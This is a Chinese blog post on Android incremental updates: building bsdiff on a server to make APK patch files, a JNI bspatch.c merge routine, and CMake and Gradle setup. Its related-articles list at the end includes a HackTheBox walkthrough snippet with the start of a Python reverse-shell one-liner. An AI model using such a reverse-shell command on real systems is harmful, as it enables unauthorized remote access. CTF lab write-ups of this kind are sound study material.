Android更新优化 - 增量更新是如何节省用户时间和流量的

增量更新和全量更新

我想玩过大型手游的人都知道,手游的安装包非常大,因为资源图片众多。而你每次更新都把所有文件都更新下来,是非常耗时的,对吧。耗时是一个方面,有些人在户外开的是移动网络,动不动就几个G。这对于用户来说,是一笔不小的浪费。那么就引入了我们今天的话题,增量更新。

说起增量更新,那么就不得不提及一下与它相对的概念,全量更新。全量更新,是大多数,乃至几乎所有app的更新方式,即把整个安装包都下载下来。那既然大家都用全量更新,那必定有其存在的合理之处,存在即合理,对吧。全量更新流程非常简洁,而增量更新流程相对比较复杂,且一般应用的安装包不是很大,使用增量更新就像高射炮打苍蝇,这是一个方面,也是主要的方面。还有一个方面是因为,增量更新有一定的门槛,需要有一定的NDK和C语言的基础。

增量更新的流程(服务端)

增量更新无需下载最新的完整版本的apk文件,而只需下载本地版本升到最新版本的补丁文件,然后使用本地正在运行的app的merge补丁的功能合并成一个完整的最新版本的apk文件,最后手动将这个合并好的apk文件安装。

安装包1.1版本 = 安装包1.0版本 merge 1.0版本升1.1版本的补丁文件

1.0版本升1.1版本的补丁文件 = 安装包1.1版本 diff 安装包1.0版本

我们补丁拆分的过程是后端完成的,而补丁合并的过程是Android端完成的。后端需要使用云服务器下载一个类似于bsdiff-4.3.tar.gz的压缩包,然后解压并使用其命令进行补丁文件的拆分。

wget https://src.fedoraproject.org/lookaside/pkgs/bsdiff/bsdiff-4.3.tar.gz/e6d812394f0e0ecc8d5df255aa1db22a/bsdiff-4.3.tar.gz
tar zxvf bsdiff-4.3.tar.gz
cd bsdiff-4.3

然后编译,运行,结束

你以为事情会有如此顺利?

vim Makefile

截屏2023-07-18 18.41.51.png
注意看.ifndef WITHOUT_MAN这一行和.endif这一行,输入i进入insert模式,光标移动到这两行最前面,按下tab键缩进下格式,然后esc,退出insert模式到命令模式,输入冒号“:”,最后输入wq!回车保存退出。

截屏2023-07-18 18.46.37.png
最后make进行编译。

make

截屏2023-07-18 18.48.14.png
这样我们就得到了两个绿色的可执行文件。

bsdiff [oldfile] [newfile] [patchfile]

最后我们就可以正常执行文件拆分命令了。比如我们电脑本地的文件上传。

sftp root@dorachat.com

先使用sftp登录服务器,root@后面改成你服务器的公网ip,不要跟我的一样,你登不上来。

put old_apk_1.0.apk
put new_apk_1.1.apk

bsdiff命令的使用格式是这样。

bsdiff [oldfile] [newfile] [patchfile]

那我们就执行。

./bsdiff old_apk_1.0.apk new_apk_1.1.apk patch_1.0_1.1.patch

执行完成就会在当前目录生成patch_1.0_1.1.patch补丁文件了,这个路径要根据你apk实际存在服务器的路径,要不然也是没法读取的。最后将补丁文件的下载地址通过接口返回给客户端,服务端的事情就做完了。

增量更新的流程(Android端)

Android端要使用到NDK,所以,你得先确保安装好了NDK和CMake的包。

截屏2023-07-18 18.59.45.png

截屏2023-07-18 19.00.42.png

截屏2023-07-18 19.01.26.png

然后写一个PatchUtils工具类。

package com.dorachat.dorachat.util;

public class PatchUtils {

    public native static int mergePatch(String oldApkPath, String newApkPath, String patchPath);

    static {
        System.loadLibrary("patchUpdate");
    }
}

截屏2023-07-18 19.03.38.png
然后将这些bzip相关的c文件扔进cpp文件夹,再修改app模块的build.gradle.kts,也可能是build.gradle,看你用的什么构建脚本了。

android {
    splits {
        abi {
            isEnable = true
            reset()
            include("x86", "x86_64", "armeabi-v7a", "arm64-v8a")
            // select ABIs to build APKs for
            isUniversalApk = true
            // generate an additional APK that contains all the ABIs
        }
    }
    externalNativeBuild {
        cmake {
            path = file("src/main/cpp/CMakeLists.txt")
            version = "3.18.1"
        }
    }
}

CMakeLists.txt的写法。


# For more information about using CMake with Android Studio, read the
# documentation: https://d.android.com/studio/projects/add-native-code.html

# Sets the minimum version of CMake required to build the native library.

cmake_minimum_required(VERSION 3.18.1)

# Declares and names the project.

project("app")

# Creates and names a library, sets it as either STATIC
# or SHARED, and provides the relative paths to its source code.
# You can define multiple libraries, and CMake builds them for you.
# Gradle automatically packages shared libraries with your APK.

find_library( # Sets the name of the path variable.
        log-lib
        log)

# 不要加,跟增量更新没有关系
add_library(
        cryptoMsg
        SHARED
        RSAUtils.h
        RSAUtils.cpp)
# 指定要编译成动态库的c文件
add_library(
        patchUpdate
        SHARED
        bspatch.c
        bzip2/blocksort.c
        bzip2/bzip2.c
        bzip2/bzip2recover.c
        bzip2/bzlib.c
        bzip2/compress.c
        bzip2/crctable.c
        bzip2/decompress.c
        bzip2/dlltest.c
        bzip2/huffman.c
        bzip2/mk251.c
        bzip2/randtable.c
        bzip2/spewG.c
        bzip2/unzcrash.c
)

#include_directories(src/main/cpp/bzip2)

#set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=gnu++11")

#include_directories(src/main/cpp/)
# Searches for a specified prebuilt library and stores the path as a
# variable. Because CMake includes system libraries in the search path by
# default, you only need to specify the name of the public NDK library
# you want to add. CMake verifies that the library exists before
# completing its build.


# Specifies libraries CMake should link to your target library. You
# can link multiple libraries, such as libraries you define in this
# build script, prebuilt third-party libraries, or system libraries.

target_link_libraries( # Specifies the target library.
     #   cryptoMsg
        patchUpdate
        ${log-lib})

命令的入口代码bspatch.c。

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <jni.h>
#include <err.h>
#include <string.h>
#include "bzip2/bzlib.h"

static off_t offtin(u_char *buf) {
    off_t y;
    y = buf[7] & 0x7F;
    y = y * 256;
    y += buf[6];
    y = y * 256;
    y += buf[5];
    y = y * 256;
    y += buf[4];
    y = y * 256;
    y += buf[3];
    y = y * 256;
    y += buf[2];
    y = y * 256;
    y += buf[1];
    y = y * 256;
    y += buf[0];

    if (buf[7] & 0x80) y = -y;

    return y;
}

int patchMethod(int argc, char *argv[]) {
    FILE *f, *cpf, *dpf, *epf;
    BZFILE *cpfbz2, *dpfbz2, *epfbz2;
    int cbz2err, dbz2err, ebz2err;
    int fd;
    ssize_t oldsize, newsize;
    ssize_t bzctrllen, bzdatalen;
    u_char header[32], buf[8];
    u_char *old, *new;
    off_t oldpos, newpos;
    off_t ctrl[3];
    off_t lenread;
    off_t i;

    if (argc != 4) errx(1, "usage: %s oldfile newfile patchfile\n", argv[0]);

    /* Open patch file */
    if ((f = fopen(argv[3], "r")) == NULL)
        err(1, "fopen(%s)", argv[3]);

    /*
    File format:
        0  8  "BSDIFF40"
        8  8  X
        16 8  Y
        24 8  sizeof(newfile)
        32 X  bzip2(control block)
        32+X   Y  bzip2(diff block)
        32+X+Y ???    bzip2(extra block)
    with control block a set of triples (x,y,z) meaning "add x bytes
    from oldfile to x bytes from the diff block; copy y bytes from the
    extra block; seek forwards in oldfile by z bytes".
    */

    /* Read header */
    if (fread(header, 1, 32, f) < 32) {
        if (feof(f))
            errx(1, "Corrupt patch\n");
        err(1, "fread(%s)", argv[3]);
    }

    /* Check for appropriate magic */
    if (memcmp(header, "BSDIFF40", 8) != 0)
        errx(1, "Corrupt patch\n");

    /* Read lengths from header */
    bzctrllen = offtin(header + 8);
    bzdatalen = offtin(header + 16);
    newsize = offtin(header + 24);
    if ((bzctrllen < 0) || (bzdatalen < 0) || (newsize < 0))
        errx(1, "Corrupt patch\n");

    /* Close patch file and re-open it via libbzip2 at the right places */
    if (fclose(f))
        err(1, "fclose(%s)", argv[3]);
    if ((cpf = fopen(argv[3], "r")) == NULL)
        err(1, "fopen(%s)", argv[3]);
    if (fseeko(cpf, 32, SEEK_SET))
        err(1, "fseeko(%s, %lld)", argv[3],
            (long long) 32);
    if ((cpfbz2 = BZ2_bzReadOpen(&cbz2err, cpf, 0, 0, NULL, 0)) == NULL)
        errx(1, "BZ2_bzReadOpen, bz2err = %d", cbz2err);
    if ((dpf = fopen(argv[3], "r")) == NULL)
        err(1, "fopen(%s)", argv[3]);
    if (fseeko(dpf, 32 + bzctrllen, SEEK_SET))
        err(1, "fseeko(%s, %lld)", argv[3],
            (long long) (32 + bzctrllen));
    if ((dpfbz2 = BZ2_bzReadOpen(&dbz2err, dpf, 0, 0, NULL, 0)) == NULL)
        errx(1, "BZ2_bzReadOpen, bz2err = %d", dbz2err);
    if ((epf = fopen(argv[3], "r")) == NULL)
        err(1, "fopen(%s)", argv[3]);
    if (fseeko(epf, 32 + bzctrllen + bzdatalen, SEEK_SET))
        err(1, "fseeko(%s, %lld)", argv[3],
            (long long) (32 + bzctrllen + bzdatalen));
    if ((epfbz2 = BZ2_bzReadOpen(&ebz2err, epf, 0, 0, NULL, 0)) == NULL)
        errx(1, "BZ2_bzReadOpen, bz2err = %d", ebz2err);

    if (((fd = open(argv[1], O_RDONLY, 0)) < 0) ||
        ((oldsize = lseek(fd, 0, SEEK_END)) == -1) ||
        ((old = malloc(oldsize + 1)) == NULL) ||
        (lseek(fd, 0, SEEK_SET) != 0) ||
        (read(fd, old, oldsize) != oldsize) ||
        (close(fd) == -1))
        err(1, "%s", argv[1]);
    if ((new = malloc(newsize + 1)) == NULL) err(1, NULL);

    oldpos = 0;
    newpos = 0;
    while (newpos < newsize) {
        /* Read control data */
        for (i = 0; i <= 2; i++) {
            lenread = BZ2_bzRead(&cbz2err, cpfbz2, buf, 8);
            if ((lenread < 8) || ((cbz2err != BZ_OK) &&
                                  (cbz2err != BZ_STREAM_END)))
                errx(1, "Corrupt patch\n");
            ctrl[i] = offtin(buf);
        };

        /* Sanity-check */
        if (newpos + ctrl[0] > newsize)
            errx(1, "Corrupt patch\n");

        /* Read diff string */
        lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]);
        if ((lenread < ctrl[0]) ||
            ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
            errx(1, "Corrupt patch\n");

        /* Add old data to diff string */
        for (i = 0; i < ctrl[0]; i++)
            if ((oldpos + i >= 0) && (oldpos + i < oldsize))
                new[newpos + i] += old[oldpos + i];

        /* Adjust pointers */
        newpos += ctrl[0];
        oldpos += ctrl[0];

        /* Sanity-check */
        if (newpos + ctrl[1] > newsize)
            errx(1, "Corrupt patch\n");

        /* Read extra string */
        lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos, ctrl[1]);
        if ((lenread < ctrl[1]) ||
            ((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END)))
            errx(1, "Corrupt patch\n");

        /* Adjust pointers */
        newpos += ctrl[1];
        oldpos += ctrl[2];
    };

    /* Clean up the bzip2 reads */
    BZ2_bzReadClose(&cbz2err, cpfbz2);
    BZ2_bzReadClose(&dbz2err, dpfbz2);
    BZ2_bzReadClose(&ebz2err, epfbz2);
    if (fclose(cpf) || fclose(dpf) || fclose(epf))
        err(1, "fclose(%s)", argv[3]);

    /* Write the new file */
    if (((fd = open(argv[2], O_CREAT | O_TRUNC | O_WRONLY, 0666)) < 0) ||
        (write(fd, new, newsize) != newsize) || (close(fd) == -1))
        err(1, "%s", argv[2]);

    free(new);
    free(old);

    return 0;
}

JNIEXPORT jint JNICALL Java_com_dorachat_dorachat_util_PatchUtils_mergePatch
        (JNIEnv *env, jclass cls,
         jstring old_apk_path, jstring new_apk_path, jstring patch_path) {
    int argc = 4;
    char *argv[argc];
    argv[0] = "bspatch";
    argv[1] = (char *) ((*env)->GetStringUTFChars(env, old_apk_path, 0));
    argv[2] = (char *) ((*env)->GetStringUTFChars(env, new_apk_path, 0));
    argv[3] = (char *) ((*env)->GetStringUTFChars(env, patch_path, 0));
    int ret = patchMethod(argc, argv);
    (*env)->ReleaseStringUTFChars(env, old_apk_path, argv[1]);
    (*env)->ReleaseStringUTFChars(env, new_apk_path, argv[2]);
    (*env)->ReleaseStringUTFChars(env, patch_path, argv[3]);
    return ret;
}

bzip2的源文件,网上很多。比如这个
https://github.com/hongyangAndroid/BsDiff_And_Patch 。
提取本地apk文件可以使用这个方法。

    public static File extractApk(Context context) {
        ApplicationInfo applicationInfo = context.getApplicationContext().getApplicationInfo();
        String apkPath = applicationInfo.sourceDir;
        File apkFile = new File(apkPath);
        return apkFile;
    }

或者你直接使用
https://github.com/dora4/dora/blob/master/dora-mvvm/src/main/java/dora/util/ApkUtils.java 。

说到最后

最后聊一聊更新的具体逻辑。增量更新有固定数量法和固定业务法。你可以规定,相差版本小于等于3个,就采用增量更新,大于3个,直接走全量更新。此为固定数量法。固定业务法则是,版本分为大小版本号的更新,每个大版本必须走全量更新,而大版本中的小版本则采用增量更新。大版本采用强制更新,而小版本则可采用选择更新。每次更新到大版本,可能会再次拉取该版本的最终小版本的补丁文件发起二次更新。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/666694.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue3 侦听器

侦听器示例 计算属性允许我们声明性地计算衍生值。然而在有些情况下&#xff0c;我们需要在状态变化时执行一些“副作用”&#xff1a;例如更改 DOM&#xff0c;或是根据异步操作的结果去修改另一处的状态。 在组合式 API 中&#xff0c;我们可以使用 watch 函数在每次响应式…

模型构建器之迭代器

上一篇我们介绍了模型构建器的基础&#xff0c;将一个工作流串联起来&#xff0c;然后做成模型工具。今天我们介绍模型构建器的第二个重要功能——迭代&#xff0c;也就是程序中的循环。 先来看一个例子。要给数据库中所有要素类添加一个相同的字段&#xff0c;该怎么做&#…

Diffusion Model, Stable Diffusion, Stable Diffusion XL 详解

文章目录 Diffusion Model生成模型DDPM概述向前扩散过程前向扩散的逐步过程前向扩散的整体过程 反向去噪过程网络结构训练和推理过程训练过程推理过程优化目标 详细数学推导数学基础向前扩散过程反向去噪过程 Stable Diffusion组成结构运行流程网络结构变分自编码器 (VAE)文本编…

ctfshow-web入门-信息搜集(web1-web10)

勇师傅还是想打 CTF 目录 1、web1 2、web2 3、web3 4、web4 5、web5 6、web6 7、web7 8、web8 9、web9 10、web10 1、web1 开发注释未及时删除 F12 看源码 拿到 flag&#xff1a;ctfshow{99854d7a-54a2-491a-8626-d5bfe7b5c2ca} 2、web2 js前台拦截 无效操作 按 F12 …

分享 ASP.NET Core Web Api 中间件获取 Request Body 两个方法

不废话&#xff0c;直接上正文。_ 方法一 思路&#xff1a;利用 BodyReader 直接读取 HttpContext 的 Request Body&#xff0c;再反序列化 var reqStream context.Request.BodyReader.AsStream(); var jsonObj JsonSerializer.Deserialize<CheckAndParsingMiddlewareM…

5.25.1 用于组织病理学图像分类的深度注意力特征学习

提出了一种基于深度学习的组织病理学图像分类新方法。我们的方法建立在标准卷积神经网络 (CNN) 的基础上,并结合了两个独立的注意力模块,以实现更有效的特征学习。 具体而言,注意力模块沿不同维度推断注意力图,这有助于将 CNN 聚焦于关键图像区域,并突出显示判别性特征通…

Xilinx IP解析之DDS Compiler v6.0(1)—— 基础概念

前言 DDS&#xff08;Direct Digital Synthesis&#xff0c;直接数字综合器&#xff09;是一种正弦波发生器&#xff0c;在Quartus中它被称为NCO&#xff08;Numerically Controlled Oscillator&#xff0c;数控振荡器&#xff09;&#xff0c;两者是对同一功能IP核的不同称呼。…

VS2017中使用qt翻译家,除ui界面外其他用tr包裹的字符串在翻译家中显示为乱码

1、ui界面中的中文,可以正常显示 2、其他用tr包裹的字符串,显示为乱码 3、解决 改为utf8保存。 然后更新翻译文件,重新打开发现已经ok了。 参考博客: https://blog.csdn.net/zhou714534957/article/details/124948822 https://blog.csdn.net/weixin_52689816/article/d…

【如何用爬虫玩转石墨文档?】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

【全开源】教育系统(FastAdmin+ThinkPHP+Uniapp)

一款基于FastAdminThinkPHPUniapp开发的西陆教育系统&#xff08;微信小程序、移动端H5、安卓APP、IOS-APP&#xff09;&#xff0c;支持线上线下课程报名&#xff0c;线上课程支持视频课程、音频课程、图文课程、课程在线支付。 塑造教育未来的基石 引言&#xff1a;教育系统…

Fully Convolutional Networks for Semantic Segmentation--论文笔记

论文笔记 资料 1.代码地址 2.论文地址 https://arxiv.org/abs/1411.4038 3.数据集地址 论文摘要的翻译 卷积网络是强大的视觉模型&#xff0c;可以产生特征层次结构。我们表明&#xff0c;卷积网络本身&#xff0c;经过端到端&#xff0c;像素对像素的训练&#xff0c;在…

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…

【SpringBoot】JWT+Token之Token自动续期

目录 回顾一下JWT基于JWT的认证流程安全性性能一次性 Token过期影响解决智障思路分析 token定时检查续期思路分析大致代码问题 双token【重点】思路分析补充微信网页授权方案 实现1.依赖2.配置3.拦截器及配置4.其他类5.token映射类6.jwt工具类7.controller类8.测试 总结双token…

HackTheBox-Machines--Bashed

Bashed 测试过程 1 信息收集 NMAP 80 端口 目录扫描 http://10.129.155.171/dev/phpbash.min.php http://10.129.155.171/dev/phpbash.php 半交互式 shell 转向 交互式shell python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co…

模型 FABE(特性 优势 好处 证据)法则

说明&#xff1a;系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。特性、优势、好处、证据&#xff0c;一气呵成。 1 FABE法则的应用 1.1 FABE法则营销商用跑步机 一家高端健身器材公司的销售代表正在向一家新开的健身房推销他们的商用跑步机。以下…

腾讯元宝眼中的我,竟是一个变现20w的AI博主!

文章首发于公众号&#xff1a;X小鹿AI副业 大家好&#xff0c;我是程序员X小鹿&#xff0c;前互联网大厂程序员&#xff0c;自由职业2年&#xff0c;也一名 AIGC 爱好者&#xff0c;持续分享更多前沿的「AI 工具」和「AI副业玩法」&#xff0c;欢迎一起交流~ 昨天&#xff08;5…

工厂模式详情

一.介绍工厂模式的用途与特点 工厂方法模式是一种创建型设计模式&#xff0c; 其在父类中提供一个创建对象的方法&#xff0c; 允许子类决定实例化对象的类型。定义工厂方法模式(Fatory Method Pattern)是指定义一个创建对象的接口&#xff0c;但让实现这个接口的类来决定实例…

FasterRCNN入门案例水稻图像目标检测新手友好入门案例

目录 依赖环境 代码概述 引用库 读取数据指定目录 数据集划分 数据集加载Dataset类 特征增强处理 预训练模型定义 评估指标定义 实例化训练集和测试集 设置硬件调取一个batch 可视化 ​编辑 激活选定硬件&#xff0c;初始化损失函数参数 模型训练 模型测试和验…

61. UE5 RPG 实现敌人近战攻击技能和转向攻击

在前面&#xff0c;我们实现了敌人的AI系统&#xff0c;敌人可以根据自身的职业进行匹配对应的攻击方式。比如近战战士会靠近目标后进行攻击然后躲避目标的攻击接着进行攻击。我们实现了敌人的AI行为&#xff0c;但是现在还没有实现需要释放的技能&#xff0c;接下来&#xff0…

让ChatGPT成为自己的旅游顾问

不积跬步&#xff0c;无以至千里&#xff1b;不积小流&#xff0c;无以成江海。 大家好&#xff0c;我是闲鹤&#xff0c;公众号 xxh_zone&#xff0c;十多年开发、架构经验&#xff0c;先后在华为、迅雷服役过&#xff0c;也在高校从事教学3年&#xff1b;目前已创业了7年多&a…